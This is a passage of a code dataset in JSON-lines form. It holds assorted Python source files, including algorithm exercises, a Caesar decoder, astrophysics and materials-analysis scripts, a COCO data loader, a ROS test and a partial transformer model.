test_adata = anndata.AnnData.concatenate(*adata_list, join='inner')\n    del adata_list ## release memory\n\n    return train_adata, test_adata\n","repo_name":"marvinquiet/RefConstruction_supervisedCelltyping","sub_path":"preprocess/process_mousebrain_train_test.py","file_name":"process_mousebrain_train_test.py","file_ext":"py","file_size_in_byte":16184,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"40090962613","text":"import sys\n\nsys.stdin = open(\"input.txt\")\n\nT = int(input())\n\nfor tc in range(1, T + 1):\n    n = int(input())\n    arr = [list(map(int, input().split())) for _ in range(n)]\n\n    dx = [1, 0, -1, 0]\n    dy = [0, 1, 0, -1]\n    answer = 0\n\n    for y in range(n):\n        for x in range(n):\n            cnt = 0\n            for k in range(4):\n                nx = x + dx[k]\n                ny = y + dy[k]\n                if 0 <= nx < n and 0 <= ny < n and arr[y][x] <= arr[ny][nx]:\n                    cnt += 1\n                if cnt > 0:\n                    break\n            if cnt == 0:\n                answer += 1\n    print(answer)\n\n","repo_name":"blackgar/algorithm_python","sub_path":"파이썬 알고리즘 연습/섹션3. 탐색&시뮬레이션(문자열과 배열 탐색)/9. 봉우리/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30306797703","text":"def decifrar_criptografia_cesar(texto_cifrado, chave):\n    alfabeto_maiusculo = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n    alfabeto_minusculo = \"abcdefghijklmnopqrstuvwxys\"\n    texto_decifrado = \"\"\n    for letra in texto_cifrado:\n\n        if letra in alfabeto_maiusculo:\n            indice = alfabeto_maiusculo.index(letra)\n            nova_letra = alfabeto_maiusculo[(indice - chave) % 26]\n            texto_decifrado += nova_letra\n\n        elif letra in alfabeto_minusculo:\n            indice = alfabeto_minusculo.index(letra)\n            nova_letra = alfabeto_minusculo[(indice - chave) % 26]\n            texto_decifrado += nova_letra\n        else:\n            texto_decifrado += letra\n    return texto_decifrado\n\ntexto_cifrado = \"T BFTGXGVBT WH LXK \"\n#texto_cifrado = \"t bftgxgvbt wh lxk\"\nchave = 19  # Chave de deslocamento utilizada na criptografia\ntexto_decifrado = decifrar_criptografia_cesar(texto_cifrado, chave)\nprint(texto_decifrado)\n","repo_name":"joaomalfatti/Cesar_Decipher","sub_path":"decipher_cesar_maiscula.py","file_name":"decipher_cesar_maiscula.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40195832263","text":"import sys\nimport math\nimport itertools\ninput = sys.stdin.readline\n\nN = int(input())\n\ndef length(i, j):\n    xi, yi = i[0], i[1]\n    xj, yj = j[0], j[1]\n    return math.sqrt(((xi - xj) ** 2) + ((yi - yj) ** 2))\n\nlst = [list(map(int, input().split())) for _ in range(N)]\nans = 0\nfor routes in itertools.permutations([n for n in range(N)]):\n    for i in range(1, N):\n        ans += length(lst[routes[i]], lst[routes[i-1]])\n\nprint(ans / math.factorial(N))","repo_name":"kyug3/my-atcoder","sub_path":"ABC/ABC145/ABC145-C.py","file_name":"ABC145-C.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33385992447","text":"import warnings\nfrom math import log, pi, sqrt\n\nimport healpy as hp\nimport numpy as np\nfrom astropy.units import Quantity, Unit, quantity_input\n\nfrom cosmoglobe.sky._constants import DEFAULT_BEAM_FWHM\n\n\n@quantity_input(fwhm=(\"rad\", \"arcmin\", \"deg\"))\ndef get_sigma(fwhm: Quantity) -> Quantity:\n    \"\"\"Returns the standard deviation given a fwhm.\n\n    Parameters\n    ----------\n    fwhm\n        FWHM of the beam.\n\n    Returns\n    -------\n        Standard deviation of the beam.\n    \"\"\"\n\n    return fwhm / (2 * sqrt(2 * log(2)))\n\n\ndef gaussian_beam_2D(r: np.ndarray, sigma: float) -> np.ndarray:\n    \"\"\"Returns the Gaussian beam in 2D in polar coordinates.\n\n    Parameters\n    ----------\n    r\n        Angular distance.\n    sigma\n        The sigma of the Gaussian (beam radius).\n\n    Returns\n    -------\n        Gaussian beam.\n    \"\"\"\n\n    return np.exp(-(r ** 2) / (2 * sigma ** 2)) / (sigma * np.sqrt(2 * np.pi))\n\n\ndef pointsources_to_healpix(\n    point_sources: Quantity,\n    catalog: Quantity,\n    nside: int,\n    fwhm: Quantity,\n) -> Quantity:\n    \"\"\"Maps the point sources to a HEALPIX map.\n\n    For more information on this calculation, please see `Mitra et al. (2010)\n    <https://arxiv.org/pdf/1005.1929.pdf>`_.\n    \"\"\"\n\n    N_FWHM = 2  # FWHM cutoff for the truncated beam\n\n    healpix_map = Quantity(\n        np.zeros((point_sources.shape[0], hp.nside2npix(nside))),\n        unit=point_sources.unit,\n    )\n\n    # Getting the longitude and latitude for each pixel on the healpix map\n\n    fwhm = fwhm.to(\"rad\")\n    catalog = catalog.to(\"deg\").value\n\n    # Directly map to pixels without any smoothing\n    if fwhm == DEFAULT_BEAM_FWHM:\n        warnings.warn(\n            \"fwhm not specified. Mapping point sources to pixels \"\n            \"without beam smoothing\"\n        )\n        pixels = hp.ang2pix(nside, *catalog, lonlat=True)\n        for IQU, emission in enumerate(point_sources):\n            healpix_map[IQU, pixels] = emission\n\n        pixel_area = hp.nside2pixarea(nside) * Unit(\"sr\")\n        return healpix_map / pixel_area\n\n    # Applying a truncated Gaussian beam to each point source\n    else:\n        sigma = get_sigma(fwhm)\n        if fwhm.value < hp.nside2resol(nside):\n            raise ValueError(\n                \"fwhm must be >= pixel resolution to resolve the point sources.\"\n            )\n\n        r_max = N_FWHM * fwhm.value\n        pixel_lon, pixel_lat = hp.pix2ang(\n            nside, np.arange(hp.nside2npix(nside)), lonlat=True\n        )\n\n        lons, lats = catalog\n        for idx, (lon, lat) in enumerate(zip(lons, lats)):\n            vec = hp.ang2vec(lon, lat, lonlat=True)\n            pixels = hp.query_disc(nside, vec, r_max)\n            angular_distance = hp.rotator.angdist(\n                [pixel_lon[pixels], pixel_lat[pixels]], [lon, lat], lonlat=True\n            )\n            beam = gaussian_beam_2D(angular_distance, sigma.value)\n            for IQU, emission in enumerate(point_sources):\n                healpix_map[IQU, pixels] += emission[idx] * beam\n\n        beam_area = 2 * pi * sigma ** 2\n\n        return healpix_map / beam_area\n","repo_name":"Cosmoglobe/Cosmoglobe","sub_path":"cosmoglobe/sky/_beam.py","file_name":"_beam.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"18851357381","text":"#!/usr/bin/env python3\n\nimport copy\nimport pyscal.core as pc\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport glob\nimport os\nimport os.path\nimport sys\n\nimport ovito\nfrom ovito.io import *\nfrom ovito.modifiers import *\nfrom ovito.data import *\nfrom ovito.pipeline import *\n\n#python3 ComputeQ.py 2_Relaxation/\n#python3 ComputeQ.py 0_Database/\ninDir = os.path.join(sys.argv[1], '')\n\n#List of q parameters to be computed\nqOrders = [2,3,4,5,6,7,8]\n\ndef computeQ(input_file):\n    #Get name of output file\n    output_file = input_file.replace('Input', 'QValues')\n    output_file = output_file.replace(\".trj\", \".Q.trj\")\n    os.makedirs(os.path.dirname(output_file), exist_ok=True)\n    if os.path.exists(output_file):\n        print(input_file, '   Continued')\n        return\n    print(input_file)\n\n    #Compute coordination numbers and write to file\n    pipeline = import_file(input_file, multiple_frames = True)\n    pipeline.modifiers.append(CoordinationAnalysisModifier(cutoff = 4))\n    data=pipeline.compute(pipeline.source.num_frames)\n    export_file(pipeline, input_file, \"lammps/dump\",columns = [\"Particle Identifier\", \"Particle Type\", \"Position.X\", \"Position.Y\", \"Position.Z\", \"Coordination\"],frame=pipeline.source.num_frames)\n\n\n    sys = pc.System()\n    sys.read_inputfile(input_file)\n    sys.find_neighbors(method='voronoi')\n    sys.calculate_q(qOrders, averaged=True)\n    q = sys.get_qvals(qOrders, averaged=True)\n    q=np.array(q)\n    \n    Zn=[ i for i in sys.atoms if i.type==2]\n    sysZn=pc.System()\n    sysZn.read_inputfile(input_file)\n    sysZn.atoms=Zn\n    sysZn.find_neighbors(method='voronoi')\n    sysZn.calculate_q(qOrders, averaged=True)\n    qZn=sysZn.get_qvals(qOrders, averaged=True)\n    qZn=np.array(qZn)\n    \n    Ox=[ i for i in sys.atoms if i.type==1]\n    sysOx=pc.System()\n    sysOx.read_inputfile(input_file)\n    sysOx.atoms=Ox\n    sysOx.find_neighbors(method='voronoi')\n    sysOx.calculate_q(qOrders, averaged=True)\n    qOx=sysOx.get_qvals(qOrders, averaged=True)\n    qOx=np.array(qOx)\n    \n    b1 = 0 #Counter for oxygen\n    b2 = 0 #Counter for zinc\n    pos=np.genfromtxt(input_file,skip_header=9)\n    os.system(\"head -n 8 \"+input_file+\"  > \"+output_file)\n    os.system(\"echo  'ITEM: ATOMS id type x y z coord q2 q3 q4 q5 q6 q7 q8 q2_mono q3_mono q4_mono q5_mono q6_mono q7_mono q8_mono' >> \"+output_file)\n    with open(output_file,'a') as fw:\n        for i in np.arange(int(np.size(pos[:,0]))):\n            fw.write(\"%g %g %g %g %g %g \"%(pos[i,0],pos[i,1],pos[i,2],pos[i,3],pos[i,4], pos[i,5]))\n            for iq in np.arange(np.size(q[:,i])):\n                fw.write(\"%g  \"%(q[iq,i]))\n            if pos[i,1] == 1:\n                for iq in np.arange(np.size(qOx[:,b1])):\n                    fw.write(\"%g  \"%(qOx[iq,b1]))\n                b1 += 1\n            elif pos[i,1] == 2:\n                for iq in np.arange(np.size(qZn[:,b2])):\n                    fw.write(\"%g  \"%(qZn[iq,b2]))\n                b2 += 1\n            else:\n                print('Atom without Zinc or Oxygen type: ', i)\n                exit()\n            fw.write(\"\\n\")\n        print(b1, b2) \n        \n#Iterate through all lammps dump files in input directory\nlist_file = sorted(glob.glob(inDir+'**/Input/**/*.trj', recursive=True))\nfor input_file in list_file:\n    computeQ(input_file)\n\n# #Iterate through all lammps dump files in input directory\n# list_file = sorted(glob.glob(inDir+'Input/**/*.trj', recursive=True))\n# for input_file in list_file:\n#     computeQ(input_file)","repo_name":"carle13/ClusterGrowth","sub_path":"ComputeQ.py","file_name":"ComputeQ.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5025706954","text":"#Lab2-4-ariedlinger.py\n#Car Salesman Program\n#Andrew Riedlinger\n#January 19th, 2019\n\n#Used to ensure inputs are non negative real floats\ndef getFloatInput(output):\n    value = -1\n    while(value < 0):\n        try:\n            value = float(input(output))\n            if(value < 0):\n                print(\"Not a valid number, please try again\")\n        except ValueError:\n            print(\"Not a valid number, please try again\")\n\n    return value\n\n#Changing to float to allow cents\ncarPrice = getFloatInput(\"What is the base price of the car? \")\ntaxPercent = 6.25\nlicensePercent = 5\n\n#If the user enters the values uncomment this, it was unclear what they book wanted\n#taxPercent = getFloatInput(\"What is the tax rate in percent? \")\n#licensePercent = getFloatInput(\"What is the license rate in percent? \")\n\ntaxCost = carPrice * (taxPercent / 100)\nlicenseCost = carPrice * (licensePercent / 100)\n\ndealerPrep = 200\ndestinationCharge = 500\n\n#If the user enters the values uncomment this\n#dealerPrep = getFloatInput(\"What is the dealer preparation cost? \")\n#destinationCharge = getFloatInput(\"What is the destination charge? \")\n\ntotalCarPrice = carPrice + taxCost + licenseCost + dealerPrep + destinationCharge\n\n\nprint(\"\\nThe total price of the car after tax, license, prep, and destination charges is $\", \"{:.2f}\".format(totalCarPrice))\n\ninput(\"\\n\\nPress enter to exit...\")\n","repo_name":"Spookyturbo/PythonCourse","sub_path":"Week1/Lab2/Lab2-4-ariedlinger.py","file_name":"Lab2-4-ariedlinger.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19692393954","text":"\"\"\"\n为什么要设置元素等待\n    由于电脑配置或网络原因，在查找元素时，元素代码未在第一时间内被加载出来，而抛出未找到元素异常。\n什么是元素等待\n    元素在第一次未找到时，元素等待设置的时长被激活，如果在设置的有效时长内找到元素，继续执行代码，如果超出设置的时长未找打元素，抛出未找到元素异常。\n元素等待分类  1. 隐式等待  2. 显示等待\n隐式等待   方法：driver.implicitly_wait(30) # 一般情况下设置30秒\n    特色：1. 针对所有元素生效。2. 一般情况下为前置必写代码(1.获取浏览器驱动对象；2. 最大化浏览器；3. 设置隐式等待)\n显示等待\n方法：WebDriverWait(driver,timeout=10, poll_frequency=0.5).until(lambda x:x.find_element_by_id(\"#user\")).send_keys(\"admin\")\n参数：timeout: 超时时间   poll_frequency:访问频率，默认0.5秒找一次元素\n    x: x为driver,它是WebDriverWait类将传入的driver赋值给类self._driver，until方法调用了self._driver;\n提示：\nWebDriverWait(driver,timeout=10, poll_frequency=0.5).until(lambda x:x.find_element_by_id(\"#user\"))返回的一个元素。\n显式与隐式区别\n1. 作用域：隐式为全局元素，显式等待为单个元素有效\n2. 使用方法：隐式等待直接通过驱动对象调用，而显式等待方法封装在WebDriverWait类中\n3. 达到最大超时时长后抛出的异常不同：隐式为NoSuchElementException，显式等待为TimeoutException\n\"\"\"\n\n# 导包\nfrom selenium import webdriver\nfrom time import sleep\n\n# 获取浏览器驱动对象\ndriver=webdriver.Firefox()\n# 将浏览器最大化\ndriver.maximize_window()\n# 设置隐式等待  10秒\ndriver.implicitly_wait(10)\n\n# 打开url\nurl = r\"D:\\python_heima_shipk\\软件测试\\二\\8天web自动化全套测试—资料\\web自动化_day01_课件+笔记+资料+代码\\02_其他资料\\注册A.html\"\ndriver.get(url)\n\n# 目标：隐式等待使用\n# 给一个错误id 不能找到，如果直接抛出异常，说明等待失效，如果在设置的指定时长外抛出异常，说明等待生效\ndriver.find_element_by_css_selector(\"#user\")\n\n# 4).间隔3秒，关闭浏览器驱动对象\nsleep(3)\ndriver.quit()","repo_name":"liuyuhao817/pythonwork","sub_path":"web自动化/day03/day03_07_元素等待_隐式等待.py","file_name":"day03_07_元素等待_隐式等待.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2256389686","text":"from torch.utils.data import Dataset\r\nfrom pycocotools.coco import COCO\r\nimport numpy as np\r\nimport torch\r\nimport cv2\r\nimport os\r\n\r\nCOCO_CLASSES = ('person', 'bicycle', 'car', 'motorcycle', 'airplane', 'bus',\r\n                'train', 'truck', 'boat', 'traffic light', 'fire hydrant',\r\n                'stop sign', 'parking meter', 'bench', 'bird', 'cat', 'dog',\r\n                'horse', 'sheep', 'cow', 'elephant', 'bear', 'zebra', 'giraffe',\r\n                'backpack', 'umbrella', 'handbag', 'tie', 'suitcase', 'frisbee',\r\n                'skis', 'snowboard', 'sports ball', 'kite', 'baseball bat',\r\n                'baseball glove', 'skateboard', 'surfboard', 'tennis racket',\r\n                'bottle', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl',\r\n                'banana', 'apple', 'sandwich', 'orange', 'broccoli', 'carrot',\r\n                'hot dog', 'pizza', 'donut', 'cake', 'chair', 'couch',\r\n                'potted plant', 'bed', 'dining table', 'toilet', 'tv', 'laptop',\r\n                'mouse', 'remote', 'keyboard', 'cell phone', 'microwave', 'oven',\r\n                'toaster', 'sink', 'refrigerator', 'book', 'clock', 'vase',\r\n                'scissors', 'teddy bear', 'hair drier', 'toothbrush')\r\n\r\nCOCO_LABEL_MAP = {1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6, 7: 7, 8: 8,\r\n                  9: 9, 10: 10, 11: 11, 13: 12, 14: 13, 15: 14, 16: 15, 17: 16,\r\n                  18: 17, 19: 18, 20: 19, 21: 20, 22: 21, 23: 22, 24: 23, 25: 24,\r\n                  27: 25, 28: 26, 31: 27, 32: 28, 33: 29, 34: 30, 35: 31, 36: 32,\r\n                  37: 33, 38: 34, 39: 35, 40: 36, 41: 37, 42: 38, 43: 39, 44: 40,\r\n                  46: 41, 47: 42, 48: 43, 49: 44, 50: 45, 51: 46, 52: 47, 53: 48,\r\n                  54: 49, 55: 50, 56: 51, 57: 52, 58: 53, 59: 54, 60: 55, 61: 56,\r\n                  62: 57, 63: 58, 64: 59, 65: 60, 67: 61, 70: 62, 72: 63, 73: 64,\r\n                  74: 65, 75: 66, 76: 67, 77: 68, 78: 69, 79: 70, 80: 71, 81: 72,\r\n                  82: 73, 84: 74, 85: 75, 86: 76, 87: 77, 88: 78, 89: 79, 90: 80}\r\n\r\n\r\nclass VOCAnnotationTransform:\r\n    def __init__(self):\r\n        self.label_map = COCO_LABEL_MAP\r\n\r\n    def __call__(self, target, width, height):\r\n        scale = np.array([width, height, width, height])\r\n        res = []\r\n        for obj in target:\r\n            if \"bbox\" in obj:\r\n                bbox = obj[\"bbox\"]\r\n                # 获得类别id\r\n                label_idx = self.label_map[obj[\"category_id\"]] - 1\r\n                # 坐标归一化\r\n                print(\"scale_before\", bbox)\r\n                final_box = list(np.array([bbox[0], bbox[1], bbox[0] + bbox[2], bbox[1] + bbox[3]]) / scale)\r\n                final_box.append(label_idx)\r\n                print(final_box)\r\n                res += [final_box]\r\n            else:\r\n                print(\"No bbox found for object\", obj)\r\n        return res\r\n\r\n\r\nclass COCODetection(Dataset):\r\n    def __init__(self, root, ann_path, transform=None, target_transform=VOCAnnotationTransform):\r\n        self.root = root  # 数据集根目录\r\n        self.coco = COCO(ann_path)  # COCO类对象\r\n        self.ids = list(self.coco.imgToAnns.keys())  # 获取所有的图片id号（包含标注信息）\r\n        self.transform = transform  # 数据增强\r\n        self.target_transform = target_transform  # 数据变换\r\n\r\n    def __len__(self):\r\n        return len(self.ids)\r\n\r\n    def __getitem__(self, index):\r\n        im, gt, _, _ = self.pull_item(index)  # 返回图像及其对应的标注信息\r\n        return im, gt\r\n\r\n    def pull_item(self, index):\r\n        img_id = self.ids[index]  # 对应索引的图片id\r\n        ann_ids = self.coco.getAnnIds(imgIds=img_id)  # 基于图片id获得标注id\r\n        target = self.coco.loadAnns(ann_ids)  # 加载标注信息\r\n        # 对应id的图片名称\r\n        file_name = self.coco.loadImgs(img_id)[0][\"file_name\"]\r\n        file_path = os.path.join(self.root, file_name)  # 图片具体路径\r\n        # 读取图片\r\n        img = cv2.imread(file_path)\r\n        height, width, _ = img.shape\r\n\r\n        if self.target_transform is not None and len(target):\r\n            target = self.target_transform()(target, width, height)\r\n\r\n        return torch.from_numpy(img).permute(2, 0, 1), target, height, width\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    # 获取COCODetection对象\r\n    datasets = COCODetection(root=\"../COCO2017/val2017\",\r\n                             ann_path=\"../COCO2017/annotations/instances_val2017.json\")\r\n    # 获取图片\r\n    im = datasets[0][0].permute(1, 2, 0).numpy()\r\n    # 图片信息\r\n    w, h, _ = im.shape\r\n    scale = np.array([h, w, h, w])\r\n    # 标注框\r\n    boxes = datasets[0][1]\r\n    for i in range(len(boxes)):\r\n        # 类别\r\n        label = COCO_CLASSES[boxes[i][-1]]\r\n        # 边界框并转换\r\n        box = np.array(boxes[i][:4] * scale, np.int)\r\n        # 显示内容\r\n        cv2.putText(im, label, (box[0], box[1]), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 255), thickness=1)\r\n        cv2.rectangle(im, (box[0], box[1]), (box[2], box[3]), (0, 0, 255), thickness=1)\r\n    cv2.imshow(\"image\", im)\r\n    cv2.waitKey(0)\r\n","repo_name":"zhangts20/ZHDet","sub_path":"datasets/coco.py","file_name":"coco.py","file_ext":"py","file_size_in_byte":5126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35490269062","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django_counter_field.fields\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('api', '0005_auto_20150507_1729'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='lesson',\n            name='students_count',\n            field=django_counter_field.fields.CounterField(default=0),\n            preserve_default=True,\n        ),\n    ]\n","repo_name":"omni360/inspiration-edu-api","sub_path":"eduapi/api/migrations/0006_lesson_students_count.py","file_name":"0006_lesson_students_count.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24805578303","text":"import random \n\ndef play():\n    user = input(\"Choose 'r' for rock, 'p' for paper, or 's' for scissors: \")\n    computer = random.choice(['r', 'p', 's']) \n\n    if not is_win(user, computer):\n        return F\"{user} not allowed!\"\n\n    if user == computer:\n        return f\"You tied! your opponent selected {computer}!\"\n\n    if is_win(user, computer):\n        return f\"You won {user} beats {computer}!\"\n\n    if is_win(user, computer) != True:\n        return f\"You lost! {computer} wins!\"\n\ndef is_win(player, opponent):\n    # r > s s > p p > r\n    if (player == 'r' and opponent == 's') or (player == 's' and opponent == 'p') or (player == 'p' and opponent == 'r'):\n        return True \n\nprint(play()) \n","repo_name":"OIrabor24/beginner-projects","sub_path":"rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19952229285","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\"\"\"\nIntegration test for the 'mesh_visualizer' node.\n\n\"\"\"\n\nimport rospy\nimport unittest\nimport rostest\nimport geometry_msgs.msg\nimport visualization_msgs.msg\nimport udom_modeling_msgs.msg\n\nPKG = 'udom_visualization'\n\n\nclass TestMeshVisualizer(unittest.TestCase):\n    def setUp(self):\n        \"\"\"\n        Sets up the test fixture before exercising it.\n\n        \"\"\"\n        # params\n        self.result = None\n        self.wait_for_result = None\n\n        # publishers\n        self.mesh = rospy.Publisher('~mesh', udom_modeling_msgs.msg.Mesh, queue_size=1)\n\n        # subscribers\n        self.component_output = rospy.Subscriber(\n            '~component_output', visualization_msgs.msg.Marker, self.result_callback\n        )\n\n    def tearDown(self):\n        \"\"\"\n        Deconstructs the test fixture after testing it.\n\n        \"\"\"\n        self.component_output.unregister()\n        self.mesh.unregister()\n\n    def test_mesh_to_points_node(self):\n        \"\"\"\n        Verifies the node's is able to correctly transform a mesh into a marker message.\n\n        \"\"\"\n        mesh = udom_modeling_msgs.msg.Mesh()\n\n        p_1 = geometry_msgs.msg.Point(0.0, 0.0, 0.0)\n        p_2 = geometry_msgs.msg.Point(0.0, 0.0, 1.0)\n        p_3 = geometry_msgs.msg.Point(0.0, 1.0, 0.0)\n        p_4 = geometry_msgs.msg.Point(0.0, 1.0, 1.0)\n        p_5 = geometry_msgs.msg.Point(1.0, 0.0, 0.0)\n        p_6 = geometry_msgs.msg.Point(1.0, 0.0, 1.0)\n        p_7 = geometry_msgs.msg.Point(1.0, 1.0, 0.0)\n        p_8 = geometry_msgs.msg.Point(1.0, 1.0, 1.0)\n        mesh.vertices = [p_1, p_2, p_3, p_4, p_5, p_6, p_7, p_8]\n\n        t_1 = udom_modeling_msgs.msg.MeshTetrahedron([3, 2, 4, 0])\n        t_2 = udom_modeling_msgs.msg.MeshTetrahedron([3, 1, 4, 0])\n        t_3 = udom_modeling_msgs.msg.MeshTetrahedron([3, 6, 2, 4])\n        t_4 = udom_modeling_msgs.msg.MeshTetrahedron([3, 6, 7, 4])\n        t_5 = udom_modeling_msgs.msg.MeshTetrahedron([3, 5, 1, 4])\n        t_6 = udom_modeling_msgs.msg.MeshTetrahedron([3, 5, 7, 4])\n        mesh.tetrahedra = [t_1, t_2, t_3, t_4, t_5, t_6]\n\n        while not self.wait_for_result:\n            self.mesh.publish(mesh)\n\n        self.assertIsInstance(self.result, visualization_msgs.msg.Marker)\n\n        for ii, vertex in enumerate(mesh.vertices):\n            self.assertAlmostEqual(self.result.points[ii], vertex)\n\n    def result_callback(self, msg):\n        self.result = msg\n        self.wait_for_result = True\n\n\nif __name__ == '__main__':\n    rospy.init_node('mesh_visualizer_test')\n    rostest.rosrun(PKG, 'mesh_visualizer_test', TestMeshVisualizer)\n","repo_name":"jsanch2s/uca_deformation_sensing","sub_path":"udom/udom_utils/udom_visualization/test/mesh_visualizer_test.py","file_name":"mesh_visualizer_test.py","file_ext":"py","file_size_in_byte":2612,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"12371392246","text":"from Datasets import IMDB,SST2\nimport torch.nn as nn\nimport math\nimport torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torch import optim\nfrom torch.utils.data import DataLoader\nimport tqdm\ndata = SST2(\"C:\\Attention\\pytorch-master\\\\bert-sst2\\sst2_shuffled.tsv\")\n\n\nbatch_size = 16\ndataloader = DataLoader(data, batch_size=batch_size, num_workers=0,collate_fn=data.collate_fn,shuffle=True)\n\nprint(\"data completely\")\nmaxlen = 128\nd_model = 512\nunits = 512\ndropout_rate = 0.2\nnumofblock = 4\nnumofhead = 2\n# encoder_vocab = len(dataset.ch_vocab)\nvocab_size = len(data.vocab)\nepochs = 10\nlatent_dim = 512\nDEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\ndef get_padding_mask(seq_q,seq_k):\n\n    batch_size, len_q = seq_q.size()\n    batch_size, len_k = seq_k.size()\n    padding_mask = seq_k.data.eq(1).unsqueeze(1)\n    return padding_mask.expand(batch_size,len_q,len_k)\n\n\nclass TokenEmbedding(nn.Module):\n    def __init__(self,vocab_size,emb_size):\n        super().__init__()\n        self.embedding = nn.Embedding(vocab_size,emb_size)\n\n    def forward(self,x):\n\n        return self.embedding(x).to(DEVICE) # shape = (batch_size,input_seq_len,emb_dim)\n\n\nclass PositionalEncoding(nn.Module):\n    def __init__(self, units, dropout=0.1, max_len=5000):\n        super(PositionalEncoding, self).__init__()\n        self.dropout = nn.Dropout(p=dropout)\n\n        pe = torch.zeros(max_len, units)\n        position = torch.arange(0, max_len, dtype=torch.float).unsqueeze(1)\n        div_term = torch.exp(torch.arange(0, units, 2).float() * (-math.log(10000.0) / units))\n        # print(position.shape)\n        # print(div_term.shape)\n        pe[:, 0::2] = torch.sin(position * div_term)\n        pe[:, 1::2] = torch.cos(position * div_term)\n        pe = pe.unsqueeze(0).transpose(0, 1)\n        self.register_buffer('pe', pe)\n\n    def forward(self, x):\n        \"\"\"\n        x: [seq_len, batch_size, d_model]\n        \"\"\"\n        x = x + self.pe[:x.size(0), :]\n        return self.dropout(x)\n\n\nclass MultiHeadAttention(nn.Module):\n    def __init__(self, num_units, num_heads, dropout_rate, mask=False):\n        super().__init__()\n        self.num_units = num_units\n        self.num_head = num_heads\n        self.dropout_rate = dropout_rate\n        self.mask = mask\n        self.linearQ = nn.Linear(self.num_units,self.num_units)\n        self.linearK = nn.Linear(self.num_units,self.num_units)\n        self.linearV = nn.Linear(self.num_units,self.num_units)\n        self.relu = nn.ReLU()\n        self.dropout = nn.Dropout(self.dropout_rate)\n        self.LayerNormalization = nn.LayerNorm(d_model)\n        self.Q = nn.Sequential(self.linearQ,self.relu)\n        self.K = nn.Sequential(self.linearK,self.relu)\n        self.V = nn.Sequential(self.linearV,self.relu)\n\n\n    def forward(self, queries, keys, values, self_padding_mask, enc_dec_padding_mask):\n        '''\n        :param queries: shape:(batch_size,input_seq_len,d_model)\n        :param keys: shape:(batch_size,input_seq_len,d_model)\n        :param values: shape:(batch_size,input_seq_len,d_model)\n        :return: None\n        '''\n        q, k, v = self.Q(queries), self.K(keys), self.V(values)\n\n        q_split, k_split, v_split = torch.chunk(q,self.num_head,dim=-1), torch.chunk(k,self.num_head,dim=-1), torch.chunk(v,self.num_head,dim=-1)\n        q_, k_, v_ = torch.stack(q_split,dim=1), torch.stack(k_split,dim=1), torch.stack(v_split,dim=1)\n        # shape : (batch_size, num_head, input_seq_len, depth = d_model/num_head)\n        a = torch.matmul(q_,k_.permute(0,1,3,2)) # a = q * k^T(后两个维度)\n        a = a / (k_.size()[-1] ** 0.5) # shape:(batch_size,num_head,seq_len,seq_len)\n        batch_size_shape = a.shape[0]\n        seq_len_shape = a.shape[2]\n        if self.mask:\n            self_padding_mask = self_padding_mask.unsqueeze(1).repeat(1, self.num_head, 1, 1)\n            masked = torch.ones((batch_size_shape,1,seq_len_shape,seq_len_shape))\n            masked = Variable((1 - torch.tril(masked, diagonal=0)) * (-2 ** 32 + 1)).to(DEVICE)\n            assert masked.shape[-1] == self_padding_mask.shape[-1]\n            a = a + masked\n            a.masked_fill_(self_padding_mask,-1e9)\n        else:\n            enc_dec_padding_mask = enc_dec_padding_mask.unsqueeze(1).repeat(1, self.num_head, 1, 1)\n            a.masked_fill_(enc_dec_padding_mask,-1e9)\n\n        a = F.softmax(a,dim=-1)\n\n        a = torch.matmul(a,v_)\n        a = torch.reshape(a.permute(0, 2, 1, 3), shape=(q.shape[0],q.shape[1],q.shape[2]))\n        a = self.dropout(a)\n        a += queries\n        a = self.LayerNormalization(a).to(DEVICE)\n        return a\n\n\nclass FC(nn.Module):\n    def __init__(self,input_channels,units=(2048,512)):\n        super().__init__()\n        self.input_channels = input_channels\n        self.units = units\n        self.layer1 = nn.Linear(self.input_channels,units[0])\n        self.layer2 = nn.Linear(self.units[0],self.units[1])\n        # self.layer3 = nn.Linear(514,512)\n        self.relu = nn.ReLU()\n        self.LayerNormalization = nn.LayerNorm(d_model)\n\n\n    def forward(self,x,type='D'):\n        outputs = self.layer1(x)\n\n        outputs = self.relu(outputs)\n        